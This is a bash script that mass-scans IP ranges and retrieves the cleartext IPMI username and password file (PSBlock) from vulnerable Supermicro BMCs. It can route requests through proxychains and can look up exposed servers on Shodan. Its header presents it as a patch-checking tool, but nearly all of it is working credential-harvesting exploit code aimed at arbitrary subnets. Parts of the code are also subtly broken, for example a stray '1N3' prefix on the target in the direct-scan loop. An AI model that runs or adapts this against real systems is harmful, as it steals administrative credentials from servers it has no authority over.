#!/bin/bash
# Supermicro IPMI/BMC Cleartext Password Scanner v20140622 by 1N3
# http://treadstonesecurity.blogspot.ca
# Usage: sh supermicro_scan.sh <CIDR|IP|showdan> [proxy]
#
# ABOUT:
# Supermicro’s implementation of IPMI/BMC allows remote, unauthenticated attackers to
# request the file PSBlock via port 49152. This plain text password file contains IPMI
# username and password information. This script allows users to scan their networks
# check for vulnerable systems that require patching.
#
# USAGE:
# ./supermicro_scan.sh 74.200.8.237 - Single host scan
# ./supermicro_scan.sh 74.200.0.0/16 proxy - Subnet scan with proxy
# ./supermicro_scan.sh showdan - Search for vulnerable servers on ShowdanHQ
#
clear
echo "(--==== http://treadstonesecurity.blogspot.ca"
echo "(--==== Supermicro IPMI Cleartext Password Scanner by 1N3"
echo ""
UNICORNSCAN=`which unicornscan`
CURL=`which curl`
PROXYCHAINS=`which proxychains`
TARGET=$1
PROXY=$2
if [ "$UNICORNSCAN" == "" ]; then
echo "(--==== Unicornscan not installed! Exiting..."
exit
fi
if [ "$PROXYCHAINS" == "" ]; then
echo "(--==== Proxychains not installed! Continuing scan without proxy support..."
exit
fi
if [ "$CURL" == "" ]; then
echo "(--==== Curl not installed! Exiting..."
exit
fi
if [ -z "$1" ]; then
echo "(--==== Usage: $0 <CIDR|IP> [proxy]"
exit
fi
if [ $TARGET == "shodan" ]; then
# SCAN USING SHODANHQ SEARCH
echo "Searching ShowdanHQ..."
iceweasel http://www.shodanhq.com/search?q=Content-Length%3D3269 &
exit
fi
if [ "$PROXY" = "proxy" ]; then
#PROXY ENABLED
echo "(--==== Scanning via proxy..."
# SCAN FOR THE DEFAULT FILES AND PORTS
for a in `unicornscan -p 49152 $TARGET 2>/dev/null | awk '{print $5}'`; do
echo "(--==== Extracting User/Pass from $a"
echo "(--==== Sending GET http://$a:49152/PSBlock"
proxychains curl http://$a:49152/PSBlock -m 3 --retry 1 -f -# | strings
done
exit
else
# NO PROXY
echo "(--==== Scanning via direct connection..."
# SCAN FOR THE DEFAULT FILES AND PORTS
for a in `unicornscan -p 49152 1N3$TARGET 2>/dev/null | awk '{print $5}'`; do
echo "(--==== Extracting User/Pass from $a"
echo "(--==== Sending GET http://$a:49152/PSBlock"
curl http://$a:49152/PSBlock -m 3 --retry 1 -f -# | strings
done
exit
fi
echo ""
echo "(--==== Scan Complete!"
exit
